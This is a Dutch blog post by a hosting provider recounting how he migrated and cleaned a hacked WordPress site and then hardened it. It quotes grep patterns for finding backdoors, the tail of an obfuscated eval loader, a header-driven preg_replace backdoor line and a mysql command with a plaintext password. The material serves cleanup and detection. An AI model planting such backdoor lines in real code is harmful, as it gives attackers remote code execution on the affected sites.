Een gehackte WordPress schoonmaken

Via mijn webhosting bedrijf KeurigOnline krijg ik vaak de vraag om de klant uit de brand te helpen; de website is gehackt en de bouwer van de website weet er geen raad mee. Het opruimen van een website is dan ook niet eenvoudig. Zonder SSH toegang is het al bijna onbegonnen werk, helemaal als er meerdere domeinnamen in hetzelfde account staan.

Omdat de domeinen in één account elkaar kunnen infecteren is het vaak niet te doen om alles tegelijk te doen. Want voordat je op de helft bent met schoonmaken zijn er in de eerste helft alweer nieuwe backdoors geplaatst. Daarom is de enige oplossing vaak om alles uit elkaar te trekken. De domeinen moeten één voor één geïsoleerd en totaal opgeschoond worden.

In deze post zal ik mijn werkwijze beschrijven hoe ik een WordPress isoleer, schoonmaak en veilig houd. Ik hoop dat het in één keer goed gaat 🙂

De huidige situatie

De klant zijn account stuurt elke dag spam. Daarom is zijn uitgaande e-mail al een tijdje geblokkeerd. Er zijn verschillende paden bekend waarin rommel zit en er zijn ook verschillende methodes gebruikt om weer in te breken via een achterdeur, een zogenoemde backdoor. Omdat de klant prioriteit heeft gelegd bij twee van de veertien domeinnamen ga ik deze twee eerst isoleren.

Isoleren betekent dat ik ze uit het account met 14 domeinen trek en alleen in een nieuw en schoon account zet. Als ik ze dan toch isoleer, verhuis ik ze gelijk naar een server met iets meer tools dan normaal. Het is een CentOS 6.5 server met progrmma’s als maldet en clamscan. Programma’s die niet op de huidige FreeBSD omgeving staan.

Een kopie van de WordPress website maken

Om een kopie te maken van de WordPress website gebruik ik de plug-in Duplicator. Deze werkt bijna altijd prima en vind ik erg makkelijk. Als hij het niet goed doet kan het immers altijd nog met de hand 😉

De plug-in is geïnstalleerd en de duplicaat wordt gemaakt. Omdat dit meestal toch even duurt ga ik vast een overzicht maken van de overige data, zoals de e-mail.

Back-up van de e-mail

Omdat we DirectAdmin gebruiken is een back-up een fluitje van een cent. Ik ga als admin naar Admin Backup/Transfer en bestel daar vast een back-up van het account. Ik selecteer bewust alles behalve Domains Directory onder het kopje 4: What. Ik wil immers met een schone lei beginnen.


Terwijl ik de back-up wil bestellen valt mijn oog op een foutmelding bij de Duplicator. Hij bereikt een limiet; een time-out, een memory limit of schijfruimte tekort.

Weet je wat? Ik doe alles wel from scratch.

Handmatig maar toch automatisch

Tuurlijk zijn er een hoop programma’s om een handmatige verhuizing makkelijker te maken. Zo ga ik sowieso imapsync gebruiken voor de e-mail, een search/replace script voor de WordPress paden in de database en DirectAdmin FileManager om te bestanden in te pakken.

Tijd voor actie

Genoeg geluld. Tijd om de bestanden over te zetten naar hun nieuwe plekje. In DirectAdmin ga ik naar de FileManager en zoek ik de public_html op die ik nodig heb:

  • empty clipboard
  • selecteer map en klik add to clipboard
  • Vul in het vakje in: publichtml, selecteer naar wens tar.gz of zip en klik Create

Even wachten et voilá: Compressed File Created

De tarball (publichtml.tar.gz) pak ik uit op mijn bureaublad zodat mijn virusscanner de malafide PHP bestanden er gelijk uit kan verwijderen. Weg = weg en het scheelt weer upload tijd!

Omdat de download nog even duurt ga ik terug naar DirectAdmin en dan naar de E-mailaccounts. Het zijn 8 e-mailadressen met een totale grootte van ongeveer 5 GB. Een beste klus voor imapsync, maar wel te doen. Het probleem is dat ik de wachtwoorden van de e-mailaccounts niet heb. Deze moet ik dus aan de klant vragen.

Ondertussen is de download klaar en pak ik het bestand uit. Windows Defender begint gelijk te roepen. Hij heeft beet:

phptrojans2

Als ik het bestand heb uitgepakt en het account op de nieuwe server is aangemaakt stuur ik de 3.680 bestanden naar hun nieuwe plekje. Een schone public_html in een schoon account.

Database overzetten

Zonder database geen website! Althans geen WordPress website. Ik haal de database gewoon uit phpMyAdmin. De SQL gegevens haal ik uit de wp-config.php. Die staat toch op m’n bureaublad. Met de gegevens ga ik naar phpMyAdmin. Die bereik je door achter je domeinnaam /phpmyadmin te zetten. Ga naar de database, klik op exporteren en sla de .sql op in je werkmap.

De .sql gaat achter de bestanden aan naar de server toe. Ik zet hem in de hoofdmap van de gebruiker. Zodat ik deze kan benaderen via de commandline in SSH.

Eerst een nieuwe database en bijbehorende gebruiker aanmaken in DirectAdmin. Ik kies altijd voor de database gebruiker_wp01. De database noem ik bewust anders. Gebruik ook altijd een sterk wachtwoord!

In de SSH terminal gebruik ik vervolgens:

mysql -u user_user01 -pjMsjQ99jm! user_wp01 < user_database.sql

Zo, de database zit er in. Het eerste wat me opvalt is dat er meerdere applicaties in de database staan. Dit zie ik aan de prefixes van de tabellen. Een zooitje begint met swe, een groep met jos (Joomla standaard prefix) en nog een deel met bak (back-up?).

swetabellen

Mijn vermoeden wordt bevestigd dat ik de swe_* tabellen moet hebben. In de wp-config.php staat namelijk:

$table_prefix  = 'swe_';

Alle andere tabellen hebben we niet nodig, weg er mee. Als ik toch in de database zit speur ik automatisch naar onregelmatigheden. Hoeveel rijen kent de swe_options tabel? En de swe_comments? Welke tabel is het grootst? Is er extreem veel overhead? In dit geval valt het wel mee. De swe_comments is leeg en wp_options kent niet absurt veel rijen. Tijd om verder te gaan met de bestanden.

Backdoors en trojans opspeuren

Er is al heel wat werk verzet maar ondanks dat mijn lokale virusscanner er al wat uitgehaald heeft, zit ik nog steeds met een lading onveilige scripts. Een kijken wat ik vind met een rijtje find commando’s zoals deze:

find . -name '*.php*' -print0 | xargs -0 grep -Fl 'return base64_decode($v'

Dit zijn de resultaten:

wp-content/plugins/advanced-custom-fields/core/fields/date_picker/images/wp-manage.php
./wp-includes/session26.php 
./cache.php

Dat valt mee. Slechts drie bestanden (tot nu toe). De inhoud is een grote brei van ge-encode informatie. Maar het eindigt altijd op iets wat lijkt op:

;eval($gzc($b64($r13($x))));?

Gelukkig is eval() op deze server geblokkeerd dus kon het eerste scripts niets uitvoeren. Maar het is toch echt een backdoor. Het tweede bestand lijkt een soort backconnector te zijn voor bots. Zo wordt je hosting pakket misbruikt om elders weer lekken op te speuren of wachtwoorden te kraken. In principe wordt het een slaaf die volledig luistert naar zijn opdrachtgever.

Zo, weg er mee. Nog een laatste scan met het oog door de bestanden en alles lijkt schoon. Vergeet nooit de .htaccess en de robots.txt handmatig te scannen. Let ook op de scrollbalkjes als je hem opent in bijvoorbeeld de DirectAdmin Filemanager. Want ze weten de malafide regels altijd goed te verstoppen!

De database instellen en aanpassen

Eerst moeten de bestanden gekoppeld worden aan de database. Dit door je door de wp-config.php te voorzien van de verse database gegevens. Ik vervang de DB_NAME, DB_USER en DB_PASSWORD met de gegevens die ik net aangemaakt heb.

Omdat ik de gebruikersnaam van het pakket aanpas moet ik misschien de paden in de database ook aanpassen. Soms is het voldoende om dit in de wp-config.php te doen maar soms moet het met een script zoals searchreplacedb2.php.

In dit geval geeft een zoektocht in phpMyAdmin geen resultaten, dus de paden hoeven niet aangepast te worden. Ik stel het media pad later handmatig nog even in in de WordPress admin voor de volledigheid.

E-mail synchroniseren

De klant heeft inmiddels gereageerd op mijn noodkreet dat ik de wachtwoorden nodig heb. Dat is fijn, nu kan ik het vanavond nog afmaken! Het eerste wat ik ga doen is alle 8 e-mailadressen aanmaken in DirectAdmin op de nieuwe server. Ik doe dit met hetzelfde wachtwoord zodat alle clients gewoon blijven werken. Omdat het om een groot bedrijf gaat met meerdere apparaten per e-mailadres is dat niet handig.

De e-mailaccounts zijn aangemaakt. Op mijn eigen development server heb ik een tool staan die heet imapsync. Hier kan ik eenvoudig een e-mailaccount mee kopiëren naar de nieuwe omgeving. Het leuke van deze sync tool is dat hij alleen de verschillen doet. Dus de tweede keer is hij super snel.

De commando die ik gebruik ziet er zo uit:

imapsync --host1 94.124.193.170 --user1 naam@domeinnaam.nl --password1 wachtwoord --host2 5.122.249.13 --user2 naam@domeinnaam.nl --password2 wachtwoord --nosyncacls --subscribe --syncinternaldates --noauthmd5

Ik zet ze allemaal onder elkaar in een kladblok zodat ik ze tijdens en eventueel na het omzetten van de nameservers gemakkelijk nog eens kan uitvoeren. Zo weet ik zeker dat er geen mail verloren gaat tijdens de migratie.

Ik maak altijd heel bewust gebruik van de IP-adressen van de servers. Dit voorkomt eventuele DNS problemen (met lokale lookups etc), denk- en typefouten. Gewoon de IP’s van oud en nieuw naast elkaar opschrijven en daarmee werken.

Het eerste account is klaar. Het resultaat ziet er zo uit:

++++ Statistics
Transfer started on               : Thu Sep 10 22:51:34 2015
Transfer ended on                 : Thu Sep 10 22:56:46 2015
Transfer time                     : 311.8 sec
Messages transferred              : 4360
Messages skipped                  : 5
Messages found duplicate on host1 : 5
Messages found duplicate on host2 : 0
Messages void (noheader) on host1 : 0
Messages void (noheader) on host2 : 0
Messages deleted on host1         : 0
Messages deleted on host2         : 0
Total bytes transferred           : 2168654691 (2.020 GiB)
Total bytes duplicate host1       : 7242843 (6.907 MiB)
Total bytes duplicate host2       : 0 (0.000 KiB)
Total bytes skipped               : 0 (0.000 KiB)
Total bytes error                 : 0 (0.000 KiB)
Message rate                      : 14.0 messages/s
Average bandwidth rate            : 6792.9 KiB/s
Reconnections to host1            : 0
Reconnections to host2            : 0
Memory consumption                : 415.8 MiB
Biggest message                   : 33893412 bytes
Initial difference host2 - host1  : -4365 messages, -2175897534 bytes (-2.026 GiB)
Final   difference host2 - host1  : -4110 messages, -2064205850 bytes (-1.922 GiB)
Detected 0 errors

Dat ziet er goed uit. 14 berichten per seconde en bijna 7 MB per seconde. Ik heb het sneller gezien maar zeker niet gek zo op de avond.

Als alle e-mail is overgezet (het is vaak nog een heel gedoe met die wachtwoorden) is het tijd om de balans op te maken.

Doet de website het eigenlijk?

Na het aanpassen van de hostfile kreeg ik een foutmelding:

[Thu Sep 10 23:25:28.602754 2015] [:error] [pid 472] [client 194.214.198.21:60149] PHP Fatal error: require(): Failed opening required '/home/gebruiker/domains/domeinnaam.nl/public_html/wp-includes/script-loader.php' (include_path='.:/usr/local/lib/php') in /home/gebruiker/domains/domeinnaam.nl/public_html/wp-settings.php on line 143

Uit de foutmelding kan je opmaken dat het bestand script-loader.php ontbreekt. Dit bleek te kloppen, want mijn virusscanner heeft hem verwijderd van mijn computer. Er waren wel meer bestanden verdwenen (een stuk of 30). Om die reden besluit ik om alle originele WordPress bestanden óver de huidige heen te zetten. Het enige wat je zeker moet weten is de WordPress versie. Die moet uiteraard hetzelfde zijn met de bestanden die je uploadt.

Ik had ook nog een paar bestanden nodig die niet in het standaard WordPress bestand zitten: thema files. Er zat niets anders op dan deze server van de oude locatie te halen en één voor één handmatig schoon te maken.

Tijdens het schoonmaken van de thema files duidde ik nog op een aantal backdoors die nog niet gevonden waren:

@preg_replace($_SERVER['HTTP_X_A7CBED'], $_SERVER['HTTP_X_CURRENT'], '');

Eens zoeken op HTTP_X_*:

 find . -name '*.php*' -print0 | xargs -0 grep -Fl 'HTTP_X_'
./wp-includes/load.php
./wp-includes/SimplePie/Content/Type/debug.php
./wp-content/plugins/duplicator/classes/server.php
./wp-content/themes/goodnex/helper/helper.php
./wp-content/themes/goodnex/extensions/layout_constructor/index.php
./wp-content/themes/goodnex/extensions/includer.php
./wp-content/themes/goodnex/css/debug.php

Hoeps.. Nog een aantal malafide stukjes code. Zo komen we er natuurlijk nooit.

Gelukkig vind ik zojuist gewoon de originele themeforest files in een map op de FTP server. Nadat ik deze heb uitgepakt schrijf ik alle bestanden over en F5….

Gelukt! De website draait als een zonnetje. Alles lijkt te werken en compleet. Snel in de admin kijken.

Er zijn een paar updates beschikbaar maar niets kritiek. Alles werkt lekker snel! Ik gooi de Duplicator plug-in er uit en zet de WP Super Cache plug-in er in. Waarom niet 🙂

Eigenlijk wil ik er ook nog een WordFence scanner overheen gooien, maar dit werkt eigenlijk pas lekker als de domeinnaam succesvol verhuisd is. Dus dit bewaar ik voor later.

 

Checklist voor het omzetten van de nameservers

  • Zijn de nameservers aangepast in DirectAdmin en kloppen de zones?

Als je met admin back-ups gaat werken moet je vaak na het migreren handmatig de nameservers goed zetten door het account te wijzigen. Vul onderin de juiste nameserver in.

  • Zijn alle e-mail syncs gelukt? Voer ze nogmaals uit ná de migratie

Morgen weer verder

Zo, de nameservers zijn aangepast. Op hoop van zegen! Ik heb de imapsync commando’s nogmaals in de terminal geplakt om nog een keer de mail te synchroniseren. Morgen doe ik er nog één voor de zekerheid.

Wat valt er nu nog te doen?

  • WordFence er in (wel met licentie, anders heeft het geen zin)
  • Limit login attempts plug-in er in
  • Koppelen aan WordPress Jetpack (centraal beheer en statistieken)
  • Back-ups instellen en controleren
  • Klant informeren dat alles weer naar behoren werkt 😉

Dit was het voor nu!

 


Dag twee. De website draait nu volledig online op de nieuwe server. Via intodns.com controleer ik voor de zekerheid nog een keer of alle DNS instellingen correct zijn ingesteld. Via mail-tester.com kan je ook goed testen of de reputatie van je mailserver en de DNS instellingen van je nameservers in orde zijn.

Dagelijkse back-ups

De website lijkt nu schoon. Hij stuurt in elk geval geen spam meer en hij is nog steeds online. Tijd om automatische back-ups in te stellen.

Omdat we gebruik maken van DirectAdmin is dit eenvoudig. Ik wil voor dit account alleen wat extra back-ups draaien dus maak ik voor deze gebruiker een extra cronjob aan die de back-ups elke nacht naar een extra locatie sturen.

Dagelijks scannen

Om de website veilig te houden en dagelijks te scannen gebruik ik de plug-in WordFence. Deze plug-in scant, mits er een geldige licentie in zit, alle bestanden dagelijks met een online database, zodat nieuwe virussen en backdoors snel getraceerd worden. Ook stuurt WordFence automatisch berichtjes op het moment dat er een update beschikbaar is of een kritisch beveiligslek gedicht moet worden.

wordfence

De reden waarom ik WordFence er altijd nog overheen haal is omdat ze altijd meer kunnen vinden dan ik:

wp-content/themes/twentyfourteen/genericons/article46.php
wp-content/themes/goodnex/languages/stats.php

Ik weet niet of bovenstaande bestandjes iets konden uitvreten maar uiteraard gooi ik ze gelijk weg. Er zaten dus toch nog twee malafide bestandjes in het account!

De scan is klaar en alles is schoon. Ik stel WordFence in dat hij automatisch scant en me sowieso elke twee weken een rapport stuurt met eigenaardigheden. Zo blijf ik altijd op de hoogte van eventuele kwetsbaarheden.

Automatisch updaten

Ik was altijd een beetje voorzichtig met automatisch updaten, maar de laatste jaren gaat het eigenlijk nooit meer fout met WordPress. Er moet wel een hele slechte plug-in zijn die met een update roet in het eten gooit.

Sommige websites stel ik daarom zo in dat alles automatisch gaat. Dit doe ik in de DirectAdmin plug-in Installatron. Uiteraard maakt hij vóór elke update poging een volledige back-up

WordPress Jetpack plugin

Sindskort speel ik met Jetpack. Vooral de koppeling met WordPress.com bevalt me uitstekend. Ik kan op WordPress.com alle websites op afstand beheren, updaten, statistieken inzien etc. Ideaal om het beheer te doen van meerdere websites. Verder schakel is soms nog wat extra’s in, maar dit is heel erg afhankelijk van de website.


De website lijkt er klaar voor. Alles is schoon en blijft dat nu hopelijk ook. De oorzaak ga ik nooit achterhalen maar belangrijker is dat de huidige situatie online blijft en dat de klant hier weer op kan bouwen. De website is toch een belangrijke informatie bron voor de klant zijn business.


Bedankt voor het lezen van de post! Deze post is eerder geschreven als naslagwerk dan als tutorial of handleiding. Het is ook niet echt voor beginners geschreven. Maar heb je een vraag of kom je niet verder? Reageer op dit bericht en ik zal zo snel mogelijk antwoorden. Ook als je iets aan deze post gehad hebt dan hoor ik dat uiteraard graag 🙂

Geef een reactie

Het e-mailadres wordt niet gepubliceerd. Vereiste velden zijn gemarkeerd met *